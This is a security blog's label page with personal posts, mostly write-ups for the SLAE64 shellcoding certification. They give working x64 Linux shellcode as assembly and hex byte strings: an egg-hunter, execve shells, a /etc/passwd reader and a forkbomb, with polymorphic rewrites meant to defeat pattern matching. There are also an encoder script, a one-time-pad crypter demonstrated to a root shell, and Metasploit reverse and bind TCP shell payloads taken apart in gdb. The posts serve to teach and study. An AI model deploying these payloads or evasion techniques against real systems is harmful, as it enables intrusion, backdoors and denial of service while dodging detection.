Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Wednesday, February 17, 2016

Setting Up a Remote Desktop Behind Firewall

Scenario: You are at a client site, and want to be able to securely check on pentest scans from your hotel room.

There are three computers in this setup, which takes about 5 minutes.
  1. The laptop on the client network (the VNC server)
  2. The laptop you want to connect to the remote desktop with (the VNC client)
  3. A flagpole server (Internet-facing SSH server)

Localhost port forwards managed by the Flagpole server sets up a secure tunnel between the machines.


No new ports will be externally exposed on any of the machines, and all network traffic will be encrypted through SSH. This method is preferable to other remote desktop solutions such as TeamViewer, where essentially the Flagpole server is controlled by a third party. For extra security, you can run your Flagpole SSH daemon on a high port and enforce certificate-based authentication.

This guide is for Linux, but the general methodology is probably possible on Windows using TigerVNC and PuTTY.

Step 1: Bind VNC Server to the Flagpole

On the VNC server machine (scanner laptop), issue the following commands:
tmux new
x11vnc -localhost [-forever]
<ctrl+b, c>
ssh -R XXXXX:localhost:5900 user@yourserver.com

Replace XXXXX with an unused port on Flagpole. Note that it is also possible to set a password for the x11vnc server. x11vnc defaults to port 5900, but can be changed with i.e. x11vnc -rfbport ###. This port is now forwarded by the port you assigned on the Flagpole.

Step 2: Bind Flagpole to VNC Client

On the VNC client (from your hotel room)

tmux new
ssh -L 5900:localhost:XXXXX user@yourserver.com

Where XXXXX is the port you bound on Flagpole. This forwards port 5900 on your local machine to the port you assigned on Flagpole.

Step 3: Connect VNC Client to VNC Server

Now, open your VNC software (vinagre/vncviewer/etc.) and connect to localhost:5900

Friday, December 26, 2014

Architecture Detection (x86 or x64) Assembly Stub

This stub is useful for combining both a 32-bit and 64-bit shellcode payload into a single shot. Knowing the distinction in architecture is important for many types of payloads. For instance, on Windows the Thread Information Block is in the FS segment register on x86, and is in GS on x64.

Here are 5 bytes you you can use to detect the architecture you're on:

_shellcode:

    xor ecx, ecx        ; set ecx to 0
    db 0x41             ; x86 opcode for: inc ecx

    loop x64_code       ; ecx now -1 in x64, we jmp

x86_code:
    ; use fs segment

    ; ret

x64_code:
    ; use gs segment

Those familiar with x64 assembly should recognize that the 0x40-0x50 range is often used as a prefix for an instruction.  We can use this subtle difference to confuse the processor. In this case, if running in x64, the inc ecx opcode becomes a prefix for the loop. The loop instruction decrements ecx by one, and if ecx is not equal to 0 it will jump to the given label.

I used db 0x41 instead of inc ecx in the source code, since nasm uses a modern 2-byte instruction to prevent this ambiguity when we actually want the 1-byte increment. Here are the different outputs, which clearly show what is going on:

x86

 
 "\x31\xc9"              /* xor    %ecx,%ecx */
 "\x41"                  /* inc    %ecx */
 "\xe2\x01"              /* loop   x64_code  */     <-- ecx = 0, no jmp

x64

 
 "\x31\xc9"              /* xor    %ecx,%ecx */
 "\x41\xe2\x01"          /* rex.B loop x64_code  */ <-- ecx = -1, jmp

Thursday, December 25, 2014

Final Thoughts on the SLAE64 Certification

As is obvious by my posts over the past few days, I was working on fulfilling the requirements of the x86/64 Assembly and Shellcoding on Linux class at SecurityTube/Pentester Academy to obtain the SLAE64 certification.


All I was seeking from doing this was to fill in the gaps in my knowledge. The course material was exceptional compared to my extremely basic assembly class at a Cal State, and it cost twenty times less. I liked that it makes you put your knowledge to the true test by completing 7 practical assignments of varying difficulty. I certainly have respect for others who have completed the certification.

Wednesday, December 24, 2014

x64 Egg-Hunter Shellcode Stager

The "egg-hunter" is a form of staged shellcode that is useful when you can inject a large payload into a process but aren't sure where in memory it will end up. If you can get the instruction pointer to point to a smaller, hunter code, you can search memory to find the main payload, which is prepended with a small tag of bytes (the egg). Egg-hunter code, even moreso than other shellcode, needs to be as small as possible.

Here is an example that assumes our main payload will be farther down the stack. Recall the stack grows toward lower addresses, so we will load the current stack pointer and increase it, going back toward higher addresses (the bottom of the stack). The egg is a simple 4-byte sequence that we are searching for, and we jump to what follows it.

BITS 64

egg equ  'z0x0'

global _start
section .text

_start:
    push rsp                  ; load current stack pointer
    pop rcx
    add rcx, 0xff             ; we need to skip our own code

hunt:
    inc rcx                   ; higher addresses
    cmp dword [rcx - 4], egg
    jne hunt

found:
    jmp rcx

This assembles down into a nice compact 20 bytes.

\x54\x59\x48\x83\xc1\xff\x48\xff\xc1\x81\x79\xfc\x7a\x30\x78\x30\x75\xf4\xff\xe1

Remember RCX begins at the stack pointer, the start of our hunter shellcode. We don't want to accidently find the egg that is within our hunter shellcode (doing so in this case will result in an infinite loop). Since we know this shellcode is 20 bytes, we add 4 to it (since the compare subtracts 4) to skip completely over all of our own code, and dig deeper down into the stack. So in the final payload we can replace the addition of 0xff to RCX with 0x18 (decimal 24).

Finally, here is a C example that sets up a dirty stack, which has a local shell payload for the egghunter to find. It is compiled with: gcc -m64 -z execstack egghunt.c

int main(void)
{       
    char egghunter[] =
        "\x54"                          /* push   %rsp */
        "\x59"                          /* pop    %rcx */
        "\x48\x83\xc1\x18"              /* add    $0x18,%rcx */
        "\x48\xff\xc1"                  /* inc    %rcx */
        "\x81\x79\xfc\x7a\x30\x78\x30"  /* cmpl   $egg,-0x4(%rcx) */
        "\x75\xf4"                      /* jne    6 hunt */
        "\xff\xe1"                      /* jmpq   *%rcx */;

    char stackgarbage[] = 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

    char eggpayload[] = 
        "z0x0"                          /* egg */
        "\x31\xf6"                      /* xor    %esi,%esi */
        "\x48\xbf\xd1\x9d\x96\x91\xd0"  /* movabs $str,%rdi */
        "\x8c\x97\xff"                  /* . */
        "\x48\xf7\xdf"                  /* neg    %rdi */
        "\xf7\xe6"                      /* mul    %esi */
        "\x04\x3b"                      /* add    $0x3b,%al */
        "\x57"                          /* push   %rdi */
        "\x54"                          /* push   %rsp */
        "\x5f"                          /* pop    %rdi */
        "\x0f\x05"                      /* syscall */;

    (*(void(*)()) egghunter)();

    return 0;
}

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Monday, December 22, 2014

x64 Shellcode Byte-Rotate Encoder

Shellcode encoders are used to defeat basic pattern matching or remove bad bytes from a payload. I've written before about Metasploit's x64/xor encoder, which is pretty simple and very effective.

I wrote an encoder that rotates bytes. I decided to rotate 3 bits left when encoding, meaning the decoder needs to rotate right 3 bits. Here is the decoder logic:

_start:
    jmp encoded

getaddr:
    pop rbx         ; *rbx stores data

    xor ecx, ecx
    add cl, 0xff    ; replace with shellcode size

decode:
    ror byte [rbx + rcx], 0x3
    loop decode

    jmp rbx

encoded:
    call getaddr

    ; db 0x.... encoded bytes go here

This resulted in the following 21 byte stub:

\xeb\x0e\x5b\x31\xc9\x80\xc1\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff

I created a python script that basically just rotates all the bits left by 3, and then prepends the decoder stub (changing the length in the cl register appropriately).

''' x64 Shellcode Bit-Rotate Encoder '''

def rol(byte, count):
    return (byte << count | byte >> (8 - count)) & 0xff

def hex_string(byte):
    return "\\" + hex(byte)[1 : ]

def rot_encode_vector(shellcode):
    encoded = []
    for byte in shellcode:
        encoded.append(rol(byte, 3))

    return encoded

def add_decoder_stub(encoded):
    decoder = "\\xeb\\x0e\\x5b\\x31\\xc9\\x80\\xc1\\x04"
    decoder += hex_string(len(encoded))
    decoder += "\\xc0\\x0c\\x0b\\x03\\xe2\\xfa\\xff\\xe3"
    decoder += "\\xe8\\xed\\xff\\xff\\xff"

    for byte in encoded:
        decoder += hex_string(byte)

    return decoder

def rot_encode(shellcode):
    shellcode_vector = shellcode.split('\\x')[1 : ]
    shellcode_vector = [int(y, 16) for y in shellcode_vector]

    encoded_vector = rot_encode_vector(shellcode_vector)
    complete = add_decoder_stub(encoded_vector)

    return complete, encoded_vector, shellcode_vector

if __name__ == '__main__':
    import argparse
    args = argparse.ArgumentParser(description='Bit-Rotate Encoder')
    args.add_argument('shellcode', help='shellcode to encode')

    argv = args.parse_args()

    out, encv, scv = rot_encode(argv.shellcode)

    print 'Original length: %d' % (len(scv))
    print argv.shellcode
    print
    print 'Encoded length: %d' % (len(out) / 4)
    print out
    print
    print 'db ' + ', '.join(map(hex, encv))

To run it, just enter the shellcode you want to use. Here is an example using a 32 byte execve local shell.

root@kali:~/SLAE64# python ./encoder.py "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Original length: 32
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

Encoded length: 53
\xeb\x0e\x5b\x31\xc9\x80\xc1\x04\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff\x42\x89\x6\x82\x42\xdd\x79\x13\x4b\x73\x79\x79\x9b\x43\x9a\x42\x4c\x3f\x82\x42\x4c\x17\xba\x42\x4c\x37\x42\x1c\x6\xd9\x78\x28

db 0x42, 0x89, 0x6, 0x82, 0x42, 0xdd, 0x79, 0x13, 0x4b, 0x73, 0x79, 0x79, 0x9b, 0x43, 0x9a, 0x42, 0x4c, 0x3f, 0x82, 0x42, 0x4c, 0x17, 0xba, 0x42, 0x4c, 0x37, 0x42, 0x1c, 0x6, 0xd9, 0x78, 0x28

This bears very little resemblance to the original bytes, and looks like garbage code when disassembled.

"\x42\x89\x06"                  /* rex.X mov %eax,(%rsi) */
"\x82"                          /* (bad) */
"\x42\xdd\x79\x13"              /* rex.X fnstsw 0x13(%rcx) */
"\x4b\x73\x79"                  /* rex.WXB jae 99  */
"\x79\x9b"                      /* jns    ffffffffffffffbd */
"\x43\x9a"                      /* rex.XB (bad) */
"\x42"                          /* rex.X */
"\x4c\x3f"                      /* rex.WR (bad) */
"\x82"                          /* (bad) */
"\x42"                          /* rex.X */
"\x4c\x17"                      /* rex.WR (bad) */
"\xba\x42\x4c\x37\x42"          /* mov    $0x42374c42,%edx */
"\x1c\x06"                      /* sbb    $0x6,%al */
"\xd9\x78\x28"                  /* fnstcw 0x28(%rax) */

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Sunday, December 21, 2014

x64 Linux Polymorphic read file shellcode

There is a read file shellcode on shell-storm that is used to read the /etc/passwd file. On Linux, this lists users and groups and such, however password hashes are actually stored inside of the /etc/shadow file. Regardless, here is the contents of the shellcode:

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start

section .text

_start:
    jmp _push_filename
  
_readfile:
; syscall open file
    pop rdi ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41
      
    xor rax, rax
    add al, 2
    xor rsi, rsi ; set O_RDONLY flag
    syscall
      
; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff; size to read
    xor rax, rax
    syscall
  
; syscall write to stdout
    xor rdi, rdi
    add dil, 1 ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall
  
; syscall exit
    xor rax, rax
    add al, 60
    syscall
  
_push_filename:
    call _readfile
    path: db "/etc/passwdA"

This comes out to 82 bytes.

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

Here are the same system calls with the logic in a different fashion, which will defeat basic pattern matching.

_start:

filename:
    xor esi, esi
    mul esi

    push rdx    ; '\0'

    mov rcx, 0x6477737361702f63  ; 'c/passwd'
    push rcx

    mov rcx, 0x74652f2f2f2f2f2f  ; '//////et'
    push rcx

openfile:
    push rsp
    pop rdi

    mov al, 0x2
    syscall

readfile:
    push rax
    pop rdi
    
    push rsp
    pop rsi
    
    push rdx
    push rdx        ; saving lots of 0's
    push rdx
    push rdx
    pop rax
    mov dx, 0x999
    syscall

write:
    pop rdi
    inc edi
    
    push rax
    pop rdx
    pop rax
    inc eax
    syscall

leave:
    pop rax
    mov al, 60
    syscall

The original code uses lots of mov operations, whereas this version accomplishes the same using the stack. Instead of using add to set RAX, it uses mov (although it could again also use the stack). The way a pointer to the string is obtained is also much different.

The final version comes out to 63 bytes, which is shorter than the original shellcode. This means we could add NOPs to be even more polymorphic.

\x31\xf6\xf7\xe6\x52\x48\xb9\x63\x2f\x70\x61\x73\x73\x77\x64\x51\x48\xb9\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x51\x54\x5f\xb0\x02\x0f\x05\x50\x5f\x54\x5e\x52\x52\x52\x52\x58\x66\xba\x99\x09\x0f\x05\x5f\xff\xc7\x50\x5a\x58\xff\xc0\x0f\x05\x58\xb0\x3c\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux Polymorphic execve() shellcode

There are many versions of execve shellcode for both x86 and x64 Linux. These work by executing some variation of the system call execve("/bin/sh", 0, 0), granting a local shell. Here is one of these shellcodes from shell-storm.
 
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com

global _start
section .text
_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8

    push rbx
    mov rdi, rsp
    xor rax, rax
    push rax
    push rdi
    mov rsi, rsp

    mov al, 0x3b
    syscall

It assembles to 33 bytes, as follows:

\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

Here is a polymorphic version which defeats pattern matching by changing the instructions, and rearranging the order things are done.

_start:

    xor esi, esi

    mov rdi, 0xff978cd091969dd1

    neg rdi
    mul esi

    add al, 0x3b

    push rdi
    push rsp
    pop rdi

    syscall

The polymorphic version comes in at 24 bytes, which is actually shorter than the original. This means we could add NOPs to be even more polymorphic.

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux Polymorphic forkbomb shellcode

A forkbomb is an attack payload which causes the exploited program to create new instances of itself, in a permanent loop. The end result is basically a denial of service, as the program reproduces itself so many times that there are no more system resources left to use.

On shell-storm there is a simple 7 byte forkbomb shellcode for x86. Translated to x64, it would look something like this:

forkbomb:
    push 0x39
    pop rax
    syscall
    jmp short forkbomb

This gives us the following shellcode, also 7 bytes:

\x6a\x39\x58\x0f\x05\xeb\xf9

We can do some basic polymorphing of this code.

forkbomb:
    shl eax, 0x40
    mov al, 0x38
    inc al
    syscall
    jne forkbomb

This becomes 11 bytes, which is right around 150% of the size of the original. This will defeat basic pattern matching.

\xc1\xe0\x40\xb0\x38\xfe\xc0\x0f\x05\x75\xf5

However, this still contains some of the same bytes, at the point of the syscall. I created the following polymorphic code to have a totally different footprint.

forkbomb:
    nop
    lea rcx, [rel forkbomb]

    push rcx
    shl rax, 64
    mov al, 0x38
    inc al

    push 0xc359040e
    add word [rsp], 0x0101
    push rsp
    ret

It contains no bytes that are the same as the original. It uses encoding to disguise syscall. The only reason for the nop instruction is so that the RIP-relative addressing won't contain the byte \xf9, like the original shellcode.

The new payload is 29 bytes, null-free.

\x90\x48\x8d\x0d\xf8\xff\xff\xff\x51\x48\xc1\xe0\x40\xb0\x38\xfe\xc0\x68\x0e\x04\x59\xc3\x66\x81\x04\x24\x01\x01\x54\xc3

It sets up the stack as follows, then unmasks the syscall and returns:

[&rsp]                     <-- low address
[syscall - mask 0x0101]
[pop]
[ret]
[&forkbomb]                <-- high address

Different code, same result.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Shellcode One-Time Pad Crypter

I chose to use C++11 to create a shellcode crypter. I decided the following data structure is one that works well when dealing with shellcode in C++:

typedef std::vector<unsigned char> bytearr_t;

I had a bit of difficulty when trying to find an appropriate encryption method to use. I knew that I didn't want to use a block cipher, as the extra padding would only increase the length of the shellcode. Most of the stream ciphers have a number of attacks on them, and the ones that don't are pretty obscure.

 One stream cipher that is guaranteed to be cryptographically secure and cannot be cracked is a one-time pad. This type of encryption means that the key length is the same size as the data being encrypted. With a one-time pad, it is literally impossible to reverse the message without the right key, since the message can be any permutation of the same length. Here is how I generate a key:

bytearr_t generate_key(size_t len)
{
    std::random_device rd;
    std::mt19937 mt(rd());
    std::uniform_real_distribution<double> dist(0, 256);

    bytearr_t ret;

    for (auto i = 0; i < len; ++i)
        ret.push_back((unsigned char)dist(mt));

    return ret;
}

There are other ways to generate the key, but this one means we will always end up with something somewhat unique. Here is the encryption method which is a basic xor stream cipher:

bytearr_t one_time_xor(bytearr_t sc, bytearr_t key)
{
    bytearr_t ret;

    assert(sc.size() == key.size());

    for (auto i = 0; i < sc.size(); ++i)
        ret.push_back(sc[i] ^ key[i]);

    return ret;
}

You might be thinking, a simple xor is all that's being used? Well, you're not alone, and there are theoretical attacks on one-time pads. For instance, if someone knows our payload ends with syscall, they can easily change those bytes of the payload into something else. But if someone can garble that, they can garble anything, and prevent the payload from running in the first place, so we shouldn't be concerned. Even if we actually do have that information leak, the rest of the payload will still be unintelligible without the right key.

 The following example shows encryption of a simple local shell payload.

Build
root@kali:~# g++ -std=c++11 -m64 -z execstack crypter.cpp

Encrypt
root@kali:~# ./a.out \x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Size: 24

Key:
\x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d

Encrypted:
\x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

Decrypt/Run
root@kali:~# ./a.out -d \x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d \x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Press any key to execute...
# whoami
root

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Saturday, December 20, 2014

A Look at the linux/x64/shell_reverse_tcp Metasploit Payload

After I finished micro optimizing my reverse TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. My payload is 77 bytes, however mine doesn't contain any null-bytes. Metasploit's will always contain nulls, even if your IP and port do not.

Even though I was sad to see it contained null-byutes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 C
 * linux/x64/shell_reverse_tcp - 74 bytes

I threw this into a C file.

unsigned char sc[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfreverse.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

Again as I saw in the bind shell version, I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here again is a high level look at what they did to accomplish this:

push   0x29
pop    rax
cdq
push   0x2
pop    rdi
push   0x1
pop    rsi
syscall

Next we come across an area with null-bytes. Since I used 127.0.0.1 for the address, there are null-bytes. I got around this in my own shellcode by subtracting a mask, and adding it back when the shellcode is run.

One thing they did that was able to shrink the code considerably is enter all of the struct sockaddr in a single mov instruction.

0x000000000060088e in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088e <sc+14>:    movabs $0x100007f5c110002,%rcx

It looks like they actually end up with some pollution in their stack when the syscall is made.

(gdb) x/4xw $rsi
0x7fffffffe330:    0x5c110002    0x0100007f    0x004004bc    0x00000000

We can compare this to  my version, which cleans the stack first.
(gdb) x/4xw $rsi
0x7fffffffe328:    0x5c110002    0x0100007f    0x00000000    0x00000000

I ran both programs through strace, and got identical syscalls.

connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)

So I consulted the man page. It would appear these are optional bytes, and there may be a way to shrink my own shellcode at this point. I think I would be able to save 1 byte by not pushing and clearing this out.

The rest of the code is pretty standard for a reverse shell.  There's another null-byte when the "/bin/sh" string is put on the stack.

So just by looking at Metasploit's code I found at least two places I can further shrink my own code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

A Look at the linux/x64/shell_bind_tcp Metasploit Payload

After I finished micro optimizing my bind TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 86 bytes and the payload always contains null-bytes, even if your port does not have one.  Even though the version I created already had 81 bytes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_bind_tcp RPORT=4444 C
 * linux/x64/shell_bind_tcp - 86 bytes

I threw this into a C file.

unsigned char sc[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31">
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfbind.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here is a high level look at what they did to accomplish this:

push   0x29
pop    rax
cdq
push   0x2
pop    rdi
push   0x1
pop    rsi
syscall

You can compare that with my version, which uses the xor esi, esi and mul esi to clear 3 registers.  Here the same is done with cdq to clear out the pollution, and then qword pushes popped directly into the registers. In a future release of my own shellcode I would make this change.

Next though, we come across one of the first instances of a null-byte.  It is part of the struct sock_addr that is used, where the port and address family is specified.

0x000000000060088f in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088f <sc+15>:    movl   $0x5c110002,(%rsp)

When I was writing my own shellcode, I had to make a sacrifice. I probably could have shrunk even more bytes if I didn't make the PORT configurable.  However, doing so may be the reason I went about things differently, and 0'd out that area of the struct by pushing a 0 register twice. This is definitely less bytes, but of course has the null.

The next parts of this shellcode are all pretty standard.  I didn't see too much more I could do in terms of shrinkage, and my own execution was very similar to this payload's.

I did want to point out another area though where the null-byte is used, as the terminator for the "/bin/sh" string. I got around this by first pushing a 0 register on the stack, and then naming the string "//bin/sh" to fill in the extra byte.

(gdb) x/i $rip
=> 0x6008c1 <sc+65>:    movabs $0x68732f6e69622f,%rbx
(gdb) x/3x $rip
0x6008c1 <sc+65>:    0x622fbb48    0x732f6e69    0x48530068
(gdb) .

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

A Look at the x64/xor Metasploit Encoder

After I finished micro optimizing my reverse TCP shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. It would seem better than my 77 byte shellcode, except this comes with a price. The payload always contains null-bytes, even if your IP does not have .0's in it. This means you won't have as much luck exploiting string buffers as a completely null-free version would.

I found that to generate a null-free reverse TCP payload with Metasploit I had to use the encoder, and there only appears to be a single encoder explicitly for x64. The final payload size is 119 bytes.

root@kali:~/.ssh# msfpayload linux/x64/shell_reverse_tcp LHOST=10.2.100.15 LPORT=4444 R | msfencode -t c -e x64/xor -b '\x00'
[*] x64/xor succeeded with size 119 (iteration=1)

I threw this into a C file.

unsigned char sc[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x64\x8b\x0a\x55\x36\x0b\x54\xa5\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0e\xa2\x52\xcc\x5c\x09"
"\x0b\xcf\x65\xd5\x05\x50\x7e\x9c\x1c\x1c\x66\x8b\x1b\x09\x3c"
"\x09\x30\xaa\x35\xc3\x83\xb3\x5c\x1b\x0e\xcf\x4e\xd3\x05\x50"
"\x5c\x08\x0a\xed\x9b\x45\x60\x74\x6e\x04\x51\xd0\x92\xe1\x31"
"\x0d\xaf\x43\xef\x8a\x06\xe2\x64\x7a\x45\x63\x54\xf6\x2c\x02"
"\xed\x07\x61\x43\xdd\x43\x6b\x8e\x0a\x55\x36\x0b\x54\xa5";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfencoded.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

This is where the call into our shellcode begins. It starts out by setting RCX to 0xa. It then does RIP-relative addressing to load into RAX where it needs to start decoding from.

0x000000000060088a in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x60088a <sc+10>:    lea    -0x11(%rip),%rax        # 0x600880 <sc>

Next, 0xa5540b36550a8b64 is moved into RBX. This is xored at [RAX + 0x27].

0x000000000060089b in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0xa5540b36550a8b64
2: /x $rax = 0x600880
1: x/i $rip
=> 0x60089b <sc+27>:    xor    %rbx,0x27(%rax)

Eight bytes are then subtracted from RAX and the loop starts back at the XOR continues.  Once the loop finishes, we find ourselves directly at the pre-encoded payload.

This is clearly a very simple encoder.  Here's what the full code looks like:

_start:
    xor rcx, rcx
    sub rcx, 0xfffffffffffffff6
    lea rax, [rip + 0xffffffffffffffef] 
    mova rbx ,0xa5540b36550a8b64

decode:
    xor qword ptr [rax+0x27], rbx
    sub rax, 0xfffffffffffffff8
    loop decode

data:
    db 0x...

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux reverse TCP connect shellcode (75 to 83 bytes, 88 to 96 with password)

A "reverse" TCP shellcode is a payload that once executed connects to a remote socket, and pipes all stdin, stdout, and stderr to a local /bin/sh shell. This allows an attacker to gain a backdoor onto the computer.

Reverse shells are more effective than using a bind shell, as often incoming ports are blocked by a firewall while outgoing ports are generally free to travel.

UPDATE: The latest version is now 75 to 83 bytes, 88 to 96 with password.


The smallest reverse shell available that I can find is Metasploit, coming in at 74 bytes.  However, Metasploit's version contains null-bytes, which means it isn't very useful in a lot of exploits. In order to remedy this, you have to encode the payload, making it weigh in at 119 bytes.

